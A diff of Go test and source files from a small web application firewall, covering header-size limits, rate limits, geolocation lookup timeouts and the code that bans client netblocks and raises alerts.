wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
if line.DurationCoreRuleSetMS == nil {
|
||||
t.Error("the Core Rule Set did not read a request within the limits")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, env := range []map[string]string{
|
||||
{wafMode: off},
|
||||
{wafMode: "detect"},
|
||||
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
|
||||
} {
|
||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", env)
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
|
||||
}
|
||||
|
||||
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
began := time.Now()
|
||||
got := do(t, req)
|
||||
|
||||
if took := time.Since(began); took >= answerTimeLimit/2 {
|
||||
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
|
||||
}
|
||||
|
||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||
|
||||
line := s.out.requestLine(t)
|
||||
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
|
||||
line.DurationCoreRuleSetMS != nil {
|
||||
t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
|
||||
line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||
ask := func() answer {
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
return do(t, req)
|
||||
}
|
||||
|
||||
wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
|
||||
wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
|
||||
|
||||
lines := s.out.requestLines(t, 2)
|
||||
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
}
|
||||
|
||||
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name, path, action string
|
||||
}{
|
||||
{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
|
||||
{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{
|
||||
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
req := s.question(siteA, client, tc.path)
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
||||
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startDiscriminator(t, geojsURL, map[string]string{
|
||||
unknownLimitPercent: "0", lookupTimeout: "1h",
|
||||
})
|
||||
req := s.question(siteA, fromDE, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
||||
|
||||
line := s.out.requestLine(t)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||
|
||||
if line.RateLimitPercent != nil {
|
||||
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
|
||||
}
|
||||
|
||||
// The client is under no ban, and GeoJS places it in a country.
|
||||
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
|
||||
}
|
||||
|
||||
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
|
||||
s.server.GeoJS.Load([]lookup.Answer{{
|
||||
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
||||
Answered: s.clock.Now(), Used: s.clock.Now(),
|
||||
}})
|
||||
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
||||
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
|
||||
requestlog.ActionClientIsRateLimited)
|
||||
}
|
||||
|
||||
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startDiscriminator(t, geojsURL, map[string]string{
|
||||
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
||||
})
|
||||
req := s.question(siteA, fromDE, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
got := do(t, req)
|
||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||
|
||||
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
|
||||
if asn != asnDE || country != "DE" {
|
||||
t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
|
||||
asn, country, asnDE)
|
||||
}
|
||||
}
|
||||
|
||||
// newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
|
||||
// answers, a setting needs its answer, and everything is at its default but
|
||||
// for env. No request to it may use the network.
|
||||
func newDiscriminatorInBubble(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*discriminator.Server, *output) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{tagDeny: "country=KP"}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
|
||||
|
||||
return server, out
|
||||
}
|
||||
|
||||
// askDirectly hands a question about a request from client straight to server,
|
||||
// as change leaves it, and returns the answer's status and how long it took.
|
||||
func askDirectly(
|
||||
t *testing.T, server *discriminator.Server, change func(*http.Request),
|
||||
) (int, time.Duration) {
|
||||
t.Helper()
|
||||
|
||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
||||
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
|
||||
req.Header.Set(discriminator.ClientHeader, client)
|
||||
req.Header.Set(requestIDHeader, "the-id")
|
||||
change(req)
|
||||
|
||||
recorder := httptest.NewRecorder()
|
||||
began := time.Now()
|
||||
|
||||
server.Handler.ServeHTTP(recorder, req)
|
||||
|
||||
return recorder.Code, time.Since(began)
|
||||
}
|
||||
|
||||
// banClient bans client at now.
|
||||
func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
||||
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
|
||||
}
|
||||
|
||||
// countClient counts one request from client at now for the rate limits.
|
||||
func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
||||
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
|
||||
}
|
||||
|
||||
// listClient puts client on the blocklist at dropURL.
|
||||
func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
||||
t.Helper()
|
||||
|
||||
err := server.Lists.Load([]reputation.List{{
|
||||
URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
|
||||
}})
|
||||
if err != nil {
|
||||
t.Fatalf("load the blocklist: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// decideOnClient puts client on the CrowdSec decision list.
|
||||
func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
||||
t.Helper()
|
||||
loadDecisions(t, server, now, clientsDecision)
|
||||
}
|
||||
|
||||
// leaveAsItIs prepares nothing.
|
||||
func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
|
||||
|
||||
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const forbidden = http.StatusForbidden
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
// prepare gets the server ready, at now, before the question.
|
||||
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
||||
// cookie is the request's Cookie header.
|
||||
cookie string
|
||||
status int
|
||||
action string
|
||||
}{
|
||||
{
|
||||
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
|
||||
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
||||
},
|
||||
{
|
||||
name: "a ban",
|
||||
prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
|
||||
},
|
||||
{
|
||||
name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
|
||||
prepare: countClient, status: forbidden,
|
||||
action: requestlog.ActionClientIsRateLimited,
|
||||
},
|
||||
{
|
||||
name: "the rate limits, with a biased threshold",
|
||||
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
|
||||
prepare: countClient, status: forbidden,
|
||||
action: requestlog.ActionClientIsRateLimited,
|
||||
},
|
||||
{
|
||||
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
|
||||
prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
|
||||
},
|
||||
{
|
||||
name: "the CrowdSec decision list",
|
||||
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
|
||||
prepare: decideOnClient, status: forbidden,
|
||||
action: requestlog.ActionTemporarilyBanned,
|
||||
},
|
||||
{
|
||||
name: "the header limits", cookie: cookies(cookieLimit + 1),
|
||||
prepare: leaveAsItIs, status: tooLarge,
|
||||
action: requestlog.ActionRequestHeaderTooLarge,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, so that a request that does not wait takes no time at all.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newDiscriminatorInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
|
||||
status, took := askDirectly(t, server, func(req *http.Request) {
|
||||
req.Header.Set(cookieHeader, tc.cookie)
|
||||
})
|
||||
|
||||
if status != tc.status || took != 0 {
|
||||
t.Errorf("answered %d after %s, want %d at once; output:\n%s",
|
||||
status, took, tc.status, out.text())
|
||||
}
|
||||
|
||||
wantLine(t, out.requestLine(t), tc.status, tc.action)
|
||||
|
||||
// GeoJS's request is abandoned before the bubble ends.
|
||||
time.Sleep(defaultLookupWait)
|
||||
})
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
// prepare gets the server ready, at now, before the question.
|
||||
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
||||
status int
|
||||
action string
|
||||
}{
|
||||
{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
|
||||
{
|
||||
"a country list needs the answer", map[string]string{allowedCountries: "DE"},
|
||||
leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
|
||||
},
|
||||
{
|
||||
"a blocklist that only logs",
|
||||
map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
|
||||
listClient, http.StatusOK, requestlog.ActionForward,
|
||||
},
|
||||
{
|
||||
"a blocklist that only limits",
|
||||
map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
|
||||
listClient, http.StatusOK, requestlog.ActionForward,
|
||||
},
|
||||
{
|
||||
"over a rate limit on an exempt path",
|
||||
map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
|
||||
countClient, http.StatusOK, requestlog.ActionForward,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newDiscriminatorInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
|
||||
status, took := askDirectly(t, server, func(*http.Request) {})
|
||||
|
||||
if status != tc.status || took != defaultLookupWait {
|
||||
t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
|
||||
status, took, tc.status, defaultLookupWait, out.text())
|
||||
}
|
||||
|
||||
wantLine(t, out.requestLine(t), tc.status, tc.action)
|
||||
})
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
held, askedGeoJS, _ := startHeldGeoJS(t)
|
||||
|
||||
// A resolver that takes every query and answers none.
|
||||
resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen: %v", err)
|
||||
}
|
||||
|
||||
t.Cleanup(func() { _ = resolver.Close() })
|
||||
|
||||
server, out, _ := newDiscriminatorWith(t, func(
|
||||
params discriminator.Params,
|
||||
) *discriminator.Server {
|
||||
params.AbuseIPDBURL = silentAbuseIPDBURL
|
||||
|
||||
return discriminator.New(params)
|
||||
}, held, time.Now, map[string]string{
|
||||
tagDeny: "country=KP", wafMode: block,
|
||||
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
|
||||
abuseIPDBKey: accountKey,
|
||||
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
||||
crowdSecURL: held, crowdSecKey: bouncerKey,
|
||||
})
|
||||
|
||||
// AbuseIPDB is asked only about a client with an offence.
|
||||
group := netip.MustParsePrefix(client + "/32")
|
||||
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
|
||||
|
||||
go server.Lists.Run(t.Context())
|
||||
|
||||
status, took := askDirectly(t, server, func(req *http.Request) {
|
||||
req.Header.Set("User-Agent", "test")
|
||||
req.Header.Set("Accept", "*/*")
|
||||
req.Host = siteA
|
||||
})
|
||||
|
||||
if status != http.StatusOK || took >= answerTimeLimit {
|
||||
t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
|
||||
status, took, http.StatusOK, answerTimeLimit, out.text())
|
||||
}
|
||||
|
||||
// Each outside source was asked, and none has answered. The stand-in for
|
||||
// GeoJS is the lists' too, which name no address.
|
||||
if !slices.Contains(askedGeoJS(), client) {
|
||||
t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
|
||||
}
|
||||
|
||||
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
|
||||
t.Errorf("%d queries to the DNS blocklist, want 1", queries)
|
||||
}
|
||||
|
||||
if checked := server.AbuseIPDB.Checked(); checked != 1 {
|
||||
t.Errorf("%d checks with AbuseIPDB, want 1", checked)
|
||||
}
|
||||
}
|
||||
@@ -1,325 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic active_ban, and the code that makes bans, which several
|
||||
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/netip"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
|
||||
// with action.
|
||||
func (rq *request) banResponse(action string) *refusal {
|
||||
return &refusal{status: rq.h.config.BanResponse, action: action}
|
||||
}
|
||||
|
||||
// activeBan refuses a client a ban covers: a ban on a netblock the client is
|
||||
// in, in force at now. It notes for the log line when that ban ends. A request
|
||||
// that makes the ban permanent, or in observe mode would have, raises the alert
|
||||
// for it. Its figures are the ban's netblock and when it ends.
|
||||
type activeBan struct{}
|
||||
|
||||
func (activeBan) name() string { return "active_ban" }
|
||||
|
||||
func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
check := rq.h.ledger.Check
|
||||
if rq.h.config.Observe {
|
||||
check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
|
||||
}
|
||||
|
||||
ban, banned, madePermanent := check(rq.client, now)
|
||||
if banned {
|
||||
rq.line.BanExpires = banExpires(ban)
|
||||
}
|
||||
|
||||
if madePermanent {
|
||||
ban.Expires = time.Time{} // the ban made permanent, which Find leaves as it is
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
if !banned {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: banAction(ban.Permanent()),
|
||||
figures: map[string]any{
|
||||
figureNetblock: ban.Netblock.String(), "ban_expires": rq.line.BanExpires,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// banAction is the action of a request refused under a ban or for making one:
|
||||
// permanent says the ban never runs out.
|
||||
func banAction(permanent bool) string {
|
||||
if permanent {
|
||||
return requestlog.ActionPermanentlyBanned
|
||||
}
|
||||
|
||||
return requestlog.ActionTemporarilyBanned
|
||||
}
|
||||
|
||||
// limitFigures are the figures of a heuristic that broke hit, a limit: its
|
||||
// window, the count and the limit.
|
||||
func limitFigures(hit ratelimit.Hit) map[string]any {
|
||||
return map[string]any{
|
||||
figureWindow: hit.Window, figureCount: hit.Count, figureLimit: hit.Limit,
|
||||
}
|
||||
}
|
||||
|
||||
// countedBytes returns the request's bytes, once it has ended, as the
|
||||
// byte limits and the anomaly thresholds count them: the response's body
|
||||
// bytes, the request's, or both, as SWW_BYTES_COUNT says.
|
||||
func (rq *request) countedBytes() int64 {
|
||||
response, request := rq.out.bytes, rq.requestBytes
|
||||
|
||||
switch rq.h.config.BytesCount {
|
||||
case "response":
|
||||
return response
|
||||
case "request":
|
||||
return request
|
||||
default: // both
|
||||
return response + request
|
||||
}
|
||||
}
|
||||
|
||||
// banForLimit bans the client's netblock at now for a broken limit, the
|
||||
// one hit names, notes the offence for the log line and counts the hit in
|
||||
// the metrics. status is what the client was sent, or is sent:
|
||||
// SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||
// one whose bytes broke a byte limit, the refusal for one that broke the
|
||||
// error burst. The ban's notes give the client's limit percentage for a
|
||||
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
||||
// the client's counters back to zero. In observe mode it makes no ban and
|
||||
// sets nothing back, and raises the alert for the ban it would have made,
|
||||
// if that alert would be sent.
|
||||
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
||||
switch hit.Kind {
|
||||
case ratelimit.KindBytes:
|
||||
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
|
||||
case ratelimit.KindRefusals:
|
||||
rq.line.LimitHit = requestlog.LimitHitMinuteRefusals
|
||||
default:
|
||||
rq.line.LimitHit = hit.Window
|
||||
}
|
||||
|
||||
rq.line.Offence = requestlog.OffenceLimit
|
||||
rq.h.metrics.LimitHit(hit)
|
||||
|
||||
netblock := rq.h.netblock(rq.client)
|
||||
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
|
||||
return
|
||||
}
|
||||
|
||||
notes := bans.Notes{
|
||||
ASN: rq.line.ASN,
|
||||
ASName: rq.line.ASName,
|
||||
Country: rq.line.Country,
|
||||
Kind: hit.Kind,
|
||||
Limit: hit.Limit,
|
||||
Window: hit.Window,
|
||||
Count: hit.Count,
|
||||
Reputation: rq.reputation,
|
||||
Request: rq.noted(now, status),
|
||||
Requests: rq.netblockRequests(netblock),
|
||||
}
|
||||
|
||||
switch hit.Kind {
|
||||
case ratelimit.KindRequests:
|
||||
notes.LimitPercent, notes.LimitPercentSetting = rq.rateLimitPercent.logged()
|
||||
case ratelimit.KindBytes:
|
||||
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesLimitPercent.logged()
|
||||
}
|
||||
|
||||
if rq.h.config.Observe {
|
||||
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
|
||||
if wouldBan {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
|
||||
rq.h.limiter.Reset(rq.h.clientGroup(rq.client))
|
||||
rq.line.BanExpires = banExpires(ban)
|
||||
|
||||
if made {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
}
|
||||
|
||||
// banForAttack bans the client's netblock at now for a clear sign of
|
||||
// attack, which notes name: the ban rule that matched, or the trap path
|
||||
// asked for. It fills in the rest of the notes. In observe mode it makes
|
||||
// no ban, and raises the alert for the ban it would have made, if that
|
||||
// alert would be sent. It returns the action for that ban.
|
||||
func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
|
||||
netblock := rq.h.netblock(rq.client)
|
||||
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
|
||||
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
|
||||
}
|
||||
|
||||
notes.ASN = rq.line.ASN
|
||||
notes.ASName = rq.line.ASName
|
||||
notes.Country = rq.line.Country
|
||||
notes.Reputation = rq.reputation
|
||||
notes.Request = rq.noted(now, rq.h.config.BanResponse)
|
||||
notes.Requests = rq.netblockRequests(netblock)
|
||||
|
||||
if rq.h.config.Observe {
|
||||
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
|
||||
if wouldBan {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
return banAction(ban.Permanent())
|
||||
}
|
||||
|
||||
ban, made := rq.h.ledger.BanForAttack(netblock, now, notes)
|
||||
rq.line.BanExpires = banExpires(ban)
|
||||
|
||||
if made {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
return banAction(ban.Permanent())
|
||||
}
|
||||
|
||||
// banForCrowdSec bans the client's netblock at now until decision,
|
||||
// CrowdSec's decision on the client, ends. In observe mode it makes no
|
||||
// ban, and raises the alert for the ban it would have made, if that alert
|
||||
// would be sent. It returns the action for that ban.
|
||||
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
|
||||
netblock := rq.h.netblock(rq.client)
|
||||
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
|
||||
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
|
||||
}
|
||||
|
||||
notes := bans.Notes{
|
||||
ASN: rq.line.ASN,
|
||||
ASName: rq.line.ASName,
|
||||
Country: rq.line.Country,
|
||||
Reputation: rq.reputation,
|
||||
Request: rq.noted(now, rq.h.config.BanResponse),
|
||||
Requests: rq.netblockRequests(netblock),
|
||||
}
|
||||
|
||||
if rq.h.config.Observe {
|
||||
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
|
||||
decision.Scenario, notes)
|
||||
if wouldBan {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
return banAction(ban.Permanent())
|
||||
}
|
||||
|
||||
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
|
||||
decision.Scenario, notes)
|
||||
rq.line.BanExpires = banExpires(ban)
|
||||
|
||||
if made {
|
||||
rq.alertBan(ban)
|
||||
}
|
||||
|
||||
return banAction(ban.Permanent())
|
||||
}
|
||||
|
||||
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
||||
// made at now would be sent. In observe mode the ban the request would
|
||||
// have made is worked out only then, at most once per
|
||||
// SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
||||
// netblock's requests, which can mean going through every client.
|
||||
func (rq *request) wouldAlertBan(
|
||||
netblock netip.Prefix, now time.Time, cause string,
|
||||
) bool {
|
||||
event := alerts.EventBan
|
||||
if rq.h.ledger.WouldBePermanent(netblock, now, cause) {
|
||||
event = alerts.EventPermanentBan
|
||||
}
|
||||
|
||||
return rq.h.alerts.WouldSend(event, netblock)
|
||||
}
|
||||
|
||||
// alertBan raises the alert for ban, which the request made, or made
|
||||
// permanent: permanent_ban for a permanent ban, ban for another. Its
|
||||
// detail gives the ban's cause, when it ends, and its notes, and in
|
||||
// observe mode, where ban is the ban that would have been made, or made
|
||||
// permanent, mode, observe.
|
||||
func (rq *request) alertBan(ban bans.Ban) {
|
||||
event := alerts.EventBan
|
||||
if ban.Permanent() {
|
||||
event = alerts.EventPermanentBan
|
||||
}
|
||||
|
||||
detail := map[string]any{
|
||||
"cause": ban.Cause, "ban_expires": banExpires(ban), "notes": ban.Notes,
|
||||
}
|
||||
if rq.h.config.Observe {
|
||||
detail["mode"] = "observe"
|
||||
}
|
||||
|
||||
rq.h.alerts.Raise(alerts.Alert{
|
||||
Event: event,
|
||||
Host: rq.site,
|
||||
Client: rq.client,
|
||||
Netblock: ban.Netblock,
|
||||
ASN: ban.Notes.ASN,
|
||||
ASName: ban.Notes.ASName,
|
||||
Country: ban.Notes.Country,
|
||||
Reason: ban.Reason,
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
|
||||
// noted is the request, at now, with status, what the client was sent, or
|
||||
// in observe mode would have been, as the notes of the ban it makes keep
|
||||
// it.
|
||||
func (rq *request) noted(now time.Time, status int) bans.Request {
|
||||
return bans.Request{
|
||||
Time: now,
|
||||
Method: rq.line.Method,
|
||||
Host: rq.line.Host,
|
||||
Path: rq.requestURI,
|
||||
Status: status,
|
||||
UserAgent: rq.line.UserAgent,
|
||||
}
|
||||
}
|
||||
|
||||
// netblockRequests is how many requests netblock has sent since it was
|
||||
// first seen, this one included: the histories count it only once it has
|
||||
// ended.
|
||||
func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
|
||||
return rq.h.limiter.Requests(netblock) + 1
|
||||
}
|
||||
|
||||
// netblock is the netblock a ban on client covers: its IPv4 address,
|
||||
// widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
||||
// counts it in.
|
||||
func (h *handler) netblock(client netip.Addr) netip.Prefix {
|
||||
addr := client.Unmap()
|
||||
if addr.Is4() {
|
||||
return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
|
||||
}
|
||||
|
||||
return h.clientGroup(addr)
|
||||
}
|
||||
|
||||
// banExpires is when ban ends, as the log line gives it: a time, or
|
||||
// permanent.
|
||||
func banExpires(ban bans.Ban) string {
|
||||
if ban.Permanent() {
|
||||
return permanent
|
||||
}
|
||||
|
||||
return requestlog.FormatTime(ban.Expires)
|
||||
}
|
||||
@@ -1,508 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"io"
|
||||
"maps"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
const (
|
||||
// otherClient is a client next to client.
|
||||
otherClient = "203.0.113.10"
|
||||
// userAgent is the user agent of every request a sender sends.
|
||||
userAgent = "ban-test/1.0"
|
||||
// permanent is the log line's ban_expires for a permanent ban.
|
||||
permanent = "permanent"
|
||||
// banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
|
||||
banResponseClose = "close"
|
||||
)
|
||||
|
||||
func TestBrokenLimitBansTheClient(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
|
||||
|
||||
// The request over the limit of one a minute is refused, and bans the
|
||||
// client for an hour, the default.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
